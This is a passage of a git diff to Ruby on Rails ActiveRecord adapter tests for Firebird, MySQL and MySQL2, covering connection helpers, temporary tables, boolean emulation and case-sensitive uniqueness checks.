- def test_renaming_table_with_fk_constraint_raises_error
- @connection.create_table :parent do |p|
- p.column :name, :string
- end
- @connection.create_table :child do |c|
- c.column :parent_id, :integer
- end
- @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
- assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
- ensure
- @connection.drop_table :child rescue nil
- @connection.drop_table :descendant rescue nil
- @connection.drop_table :parent rescue nil
- end
-
- private
- def boolean_domain_exists?
- !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
- end
-
- def sequence_exists?(sequence_name)
- FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
- end
-end
diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
index 0878925a6c..7c0f11b033 100644
--- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
@@ -1,23 +1,23 @@
require "cases/helper"
+require 'support/connection_helper'
class ActiveSchemaTest < ActiveRecord::TestCase
- def setup
- @connection = ActiveRecord::Base.remove_connection
- ActiveRecord::Base.establish_connection(@connection)
+ include ConnectionHelper
+ def setup
ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_without_stub, :execute
def execute(sql, name = nil) return sql end
end
end
- def teardown
- ActiveRecord::Base.remove_connection
- ActiveRecord::Base.establish_connection(@connection)
+ teardown do
+ reset_connection
end
def test_add_index
- # add_index calls index_name_exists? which can't work since execute is stubbed
+ # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+ def (ActiveRecord::Base.connection).table_exists?(*); true; end
def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
@@ -116,6 +116,18 @@ class ActiveSchemaTest < ActiveRecord::TestCase
end
end
+ def test_indexes_in_create
+ ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+ ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+ expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+ actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+ t.index :zip
+ end
+
+ assert_equal expected, actual
+ end
+
private
def with_real_execute
ActiveRecord::Base.connection.singleton_class.class_eval do
diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
index 97adb6b297..340fc95503 100644
--- a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
class MysqlCaseSensitivityTest < ActiveRecord::TestCase
class CollationTest < ActiveRecord::Base
- validates_uniqueness_of :string_cs_column, :case_sensitive => false
- validates_uniqueness_of :string_ci_column, :case_sensitive => false
end
+ repair_validations(CollationTest)
+
def test_columns_include_collation_different_from_table
assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
CollationTest.create!(:string_ci_column => 'A')
invalid = CollationTest.new(:string_ci_column => 'a')
queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class MysqlCaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
CollationTest.create!(:string_cs_column => 'A')
invalid = CollationTest.new(:string_cs_column => 'a')
queries = assert_sql { invalid.save }
cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
assert_match(/lower/i, cs_uniqueness_query)
end
+
+ def test_case_sensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'A')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_match(/binary/i, ci_uniqueness_query)
+ end
+
+ def test_case_sensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'A')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_no_match(/binary/i, cs_uniqueness_query)
+ end
end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index 1844a2e0dc..4c90d06732 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -1,6 +1,11 @@
require "cases/helper"
+require 'support/connection_helper'
+require 'support/ddl_helper'
class MysqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+ include DdlHelper
+
class Klass < ActiveRecord::Base
end
@@ -16,15 +21,15 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
- def test_connect_with_url
- run_without_connection do
- ar_config = ARTest.connection_config['arunit']
-
- skip "This test doesn't work with custom socket location" if ar_config['socket']
+ unless ARTest.connection_config['arunit']['socket']
+ def test_connect_with_url
+ run_without_connection do
+ ar_config = ARTest.connection_config['arunit']
- url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
- Klass.establish_connection(url)
- assert_equal ar_config['database'], Klass.connection.current_database
+ url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
+ Klass.establish_connection(url)
+ assert_equal ar_config['database'], Klass.connection.current_database
+ end
end
end
@@ -40,6 +45,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
@connection.update('set @@wait_timeout=1')
sleep 2
assert !@connection.active?
+
+ # Repair all fixture connections so other tests won't break.
+ @fixture_connections.each do |c|
+ c.verify!
+ end
end
def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -64,59 +74,50 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
def test_exec_no_binds
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
+ with_example_table do
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- # if there are no bind parameters, it will return a string (due to
- # the libmysql api)
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_with_binds
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+ with_example_table do
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_typecasts_bind_vals
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- column = @connection.columns('ex').find { |col| col.name == 'id' }
+ with_example_table do
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
# Test that MySQL allows multiple results for stored procedures
@@ -150,6 +151,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
+ def test_mysql_sql_mode_variable_overides_strict_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+ result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+ assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+ end
+ end
+
def test_mysql_set_session_variable_to_default
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -161,12 +170,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
private
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
- end
+ def with_example_table(&block)
+ definition ||= <<-SQL
+ `id` int(11) auto_increment PRIMARY KEY,
+ `data` varchar(255)
+ SQL
+ super(@connection, 'ex', definition, &block)
end
end
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index 4a23287448..1699380eb3 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -1,24 +1,30 @@
# encoding: utf-8
require "cases/helper"
+require 'support/ddl_helper'
module ActiveRecord
module ConnectionAdapters
class MysqlAdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+
def setup
@conn = ActiveRecord::Base.connection
- @conn.exec_query('drop table if exists ex')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex` (
- `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `number` integer,
- `data` varchar(255))
- eosql
+ end
+
+ def test_bad_connection_mysql
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
end
def test_valid_column
- column = @conn.columns('ex').find { |col| col.name == 'id' }
- assert @conn.valid_type?(column.type)
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
end
def test_invalid_column
@@ -30,31 +36,35 @@ module ActiveRecord
end
def test_exec_insert_number
- insert(@conn, 'number' => 10)
+ with_example_table do
+ insert(@conn, 'number' => 10)
- result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
+ result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
- assert_equal 1, result.rows.length
- # if there are no bind parameters, it will return a string (due to
- # the libmysql api)
- assert_equal '10', result.rows.last.last
+ assert_equal 1, result.rows.length
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ assert_equal '10', result.rows.last.last
+ end
end
def test_exec_insert_string
- str = 'いただきます!'
- insert(@conn, 'number' => 10, 'data' => str)
+ with_example_table do
+ str = 'いただきます!'
+ insert(@conn, 'number' => 10, 'data' => str)
- result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
+ result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
- value = result.rows.last.last
+ value = result.rows.last.last
- # FIXME: this should probably be inside the mysql AR adapter?
- value.force_encoding(@conn.client_encoding)
+ # FIXME: this should probably be inside the mysql AR adapter?
+ value.force_encoding(@conn.client_encoding)
- # The strings in this file are utf-8, so transcode to utf-8
- value.encode!(Encoding::UTF_8)
+ # The strings in this file are utf-8, so transcode to utf-8
+ value.encode!(Encoding::UTF_8)
- assert_equal str, value
+ assert_equal str, value
+ end
end
def test_tables_quoting
@@ -66,46 +76,49 @@ module ActiveRecord
end
def test_pk_and_sequence_for
- pk, seq = @conn.pk_and_sequence_for('ex')
- assert_equal 'id', pk
- assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ with_example_table do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ end
end
def test_pk_and_sequence_for_with_non_standard_primary_key
- @conn.exec_query('drop table if exists ex_with_non_standard_pk')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex_with_non_standard_pk` (
- `code` INT(11) DEFAULT NULL auto_increment,
- PRIMARY KEY (`code`))
- eosql
- pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
- assert_equal 'code', pk
- assert_equal @conn.default_sequence_name('ex_with_non_standard_pk', 'code'), seq
+ with_example_table '`code` INT(11) auto_increment, PRIMARY KEY (`code`)' do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'code', pk
+ assert_equal @conn.default_sequence_name('ex', 'code'), seq
+ end
end
def test_pk_and_sequence_for_with_custom_index_type_pk
- @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex_with_custom_index_type_pk` (
- `id` INT(11) DEFAULT NULL auto_increment,
- PRIMARY KEY USING BTREE (`id`))
- eosql
- pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
- assert_equal 'id', pk
- assert_equal @conn.default_sequence_name('ex_with_custom_index_type_pk', 'id'), seq
+ with_example_table '`id` INT(11) auto_increment, PRIMARY KEY USING BTREE (`id`)' do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ end
end
def test_tinyint_integer_typecasting
- @conn.exec_query('drop table if exists ex_with_non_boolean_tinyint_column')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex_with_non_boolean_tinyint_column` (
- `status` TINYINT(4))
- eosql
- insert(@conn, { 'status' => 2 }, 'ex_with_non_boolean_tinyint_column')
+ with_example_table '`status` TINYINT(4)' do
+ insert(@conn, { 'status' => 2 }, 'ex')
- result = @conn.exec_query('SELECT status FROM ex_with_non_boolean_tinyint_column')
+ result = @conn.exec_query('SELECT status FROM ex')
- assert_equal 2, result.column_types['status'].type_cast(result.last['status'])
+ assert_equal 2, result.column_types['status'].type_cast(result.last['status'])
+ end
+ end
+
+ def test_supports_extensions
+ assert_not @conn.supports_extensions?, 'does not support extensions'
+ end
+
+ def test_respond_to_enable_extension
+ assert @conn.respond_to?(:enable_extension)
+ end
+
+ def test_respond_to_disable_extension
+ assert @conn.respond_to?(:disable_extension)
end
private
@@ -120,6 +133,15 @@ module ActiveRecord
ctx.exec_insert(sql, 'SQL', binds)
end
+
+ def with_example_table(definition = nil, &block)
+ definition ||= <<-SQL
+ `id` int(11) auto_increment PRIMARY KEY,
+ `number` integer,
+ `data` varchar(255)
+ SQL
+ super(@conn, 'ex', definition, &block)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
index 4cf4bc4c61..61ae0abfd1 100644
--- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
class Group < ActiveRecord::Base
Group.table_name = 'group'
- belongs_to :select, :class_name => 'Select'
+ belongs_to :select
has_one :values
end
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
'distinct_select'=>'distinct_id int, select_id int'
end
- def teardown
+ teardown do
drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
end
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
index 83de90f179..209a0cf464 100644
--- a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -3,20 +3,20 @@ require 'cases/helper'
module ActiveRecord::ConnectionAdapters
class MysqlAdapter
class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
-
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
index 4ccf568406..cefc3e3c7e 100644
--- a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
@@ -1,23 +1,23 @@
require "cases/helper"
+require 'support/connection_helper'
class ActiveSchemaTest < ActiveRecord::TestCase
- def setup
- @connection = ActiveRecord::Base.remove_connection
- ActiveRecord::Base.establish_connection(@connection)
+ include ConnectionHelper
+ def setup
ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_without_stub, :execute
def execute(sql, name = nil) return sql end
end
end
- def teardown
- ActiveRecord::Base.remove_connection
- ActiveRecord::Base.establish_connection(@connection)
+ teardown do
+ reset_connection
end
def test_add_index
- # add_index calls index_name_exists? which can't work since execute is stubbed
+ # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+ def (ActiveRecord::Base.connection).table_exists?(*); true; end
def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
@@ -116,6 +116,18 @@ class ActiveSchemaTest < ActiveRecord::TestCase
end
end
+ def test_indexes_in_create
+ ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+ ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+ expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+ actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+ t.index :zip
+ end
+
+ assert_equal expected, actual
+ end
+
private
def with_real_execute
ActiveRecord::Base.connection.singleton_class.class_eval do
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
new file mode 100644
index 0000000000..267aa232d9
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
@@ -0,0 +1,91 @@
+require "cases/helper"
+
+class Mysql2BooleanTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class BooleanType < ActiveRecord::Base
+ self.table_name = "mysql_booleans"
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table("mysql_booleans") do |t|
+ t.boolean "archived"
+ t.string "published", limit: 1
+ end
+ BooleanType.reset_column_information
+
+ @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
+ end
+
+ teardown do
+ emulate_booleans @emulate_booleans
+ @connection.drop_table "mysql_booleans"
+ end
+
+ test "column type with emulated booleans" do
+ emulate_booleans true
+
+ assert_equal :boolean, boolean_column.type
+ assert_equal :string, string_column.type
+ end
+
+ test "column type without emulated booleans" do
+ emulate_booleans false
+
+ assert_equal :integer, boolean_column.type
+ assert_equal :string, string_column.type
+ end
+
+ test "test type casting with emulated booleans" do
+ emulate_booleans true
+
+ boolean = BooleanType.create!(archived: true, published: true)
+ attributes = boolean.reload.attributes_before_type_cast
+
+ assert_equal 1, attributes["archived"]
+ assert_equal "1", attributes["published"]
+
+ assert_equal 1, @connection.type_cast(true, boolean_column)
+ assert_equal 1, @connection.type_cast(true, string_column)
+ end
+
+ test "test type casting without emulated booleans" do
+ emulate_booleans false
+
+ boolean = BooleanType.create!(archived: true, published: true)
+ attributes = boolean.reload.attributes_before_type_cast
+
+ assert_equal 1, attributes["archived"]
+ assert_equal "1", attributes["published"]
+
+ assert_equal 1, @connection.type_cast(true, boolean_column)
+ assert_equal 1, @connection.type_cast(true, string_column)
+ end
+
+ test "with booleans stored as 1 and 0" do
+ @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+ boolean = BooleanType.first
+ assert_equal true, boolean.archived
+ assert_equal "1", boolean.published
+ end
+
+ test "with booleans stored as t" do
+ @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+ boolean = BooleanType.first
+ assert_equal "t", boolean.published
+ end
+
+ def boolean_column
+ BooleanType.columns.find { |c| c.name == 'archived' }
+ end
+
+ def string_column
+ BooleanType.columns.find { |c| c.name == 'published' }
+ end
+
+ def emulate_booleans(value)
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
+ BooleanType.reset_column_information
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
index 6bcc113482..09bebf3071 100644
--- a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
class CollationTest < ActiveRecord::Base
- validates_uniqueness_of :string_cs_column, :case_sensitive => false
- validates_uniqueness_of :string_ci_column, :case_sensitive => false
end
+ repair_validations(CollationTest)
+
def test_columns_include_collation_different_from_table
assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
CollationTest.create!(:string_ci_column => 'A')
invalid = CollationTest.new(:string_ci_column => 'a')
queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
end
def test_case_insensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
CollationTest.create!(:string_cs_column => 'A')
invalid = CollationTest.new(:string_cs_column => 'a')
queries = assert_sql { invalid.save }
cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)}
assert_match(/lower/i, cs_uniqueness_query)
end
+
+ def test_case_sensitive_comparison_for_ci_column
+ CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'A')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_match(/binary/i, ci_uniqueness_query)
+ end
+
+ def test_case_sensitive_comparison_for_cs_column
+ CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'A')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_no_match(/binary/i, cs_uniqueness_query)
+ end
end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index fedd9f603c..65f50e77bb 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -1,16 +1,27 @@
require "cases/helper"
+require 'support/connection_helper'
class MysqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
def setup
super
+ @subscriber = SQLSubscriber.new
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
@connection = ActiveRecord::Base.connection
- @connection.extend(LogIntercepter)
- @connection.intercepted = true
end
def teardown
- @connection.intercepted = false
- @connection.logged = []
+ ActiveSupport::Notifications.unsubscribe(@subscription)
+ super
+ end
+
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql2_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
end
def test_no_automatic_reconnection_after_timeout
@@ -18,6 +29,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
@connection.update('set @@wait_timeout=1')
sleep 2
assert !@connection.active?
+
+ # Repair all fixture connections so other tests won't break.
+ @fixture_connections.each do |c|
+ c.verify!
+ end
end
def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -61,6 +77,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
+ def test_mysql_sql_mode_variable_overides_strict_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+ result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+ assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+ end
+ end
+
def test_mysql_set_session_variable_to_default
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -72,26 +96,22 @@ class MysqlConnectionTest < ActiveRecord::TestCase
def test_logs_name_show_variable
@connection.show_variable 'foo'
- assert_equal "SCHEMA", @connection.logged[0][1]
+ assert_equal "SCHEMA", @subscriber.logged[0][1]
end
def test_logs_name_rename_column_sql
@connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
- @connection.logged = []
+ @subscriber.logged.clear
@connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
- assert_equal "SCHEMA", @connection.logged[0][1]
+ assert_equal "SCHEMA", @subscriber.logged[0][1]
ensure
@connection.execute "DROP TABLE `bar_baz`"
end
- private
-
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
+ if mysql_56?
+ def test_quote_time_usec
+ assert_equal "'1970-01-01 00:00:00.000000'", @connection.quote(Time.at(0))
+ assert_equal "'1970-01-01 00:00:00.000000'", @connection.quote(Time.at(0).to_datetime)
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 68ed361aeb..675703caa1 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -9,16 +9,16 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %r(developers |.* const), explain
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
- assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
- assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
- assert_match %(audit_logs | ALL), explain
+ assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+ assert_match %r(developers |.* const), explain
+ assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
+ assert_match %r(audit_logs |.* ALL), explain
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
index e76617b845..799d927ee4 100644
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
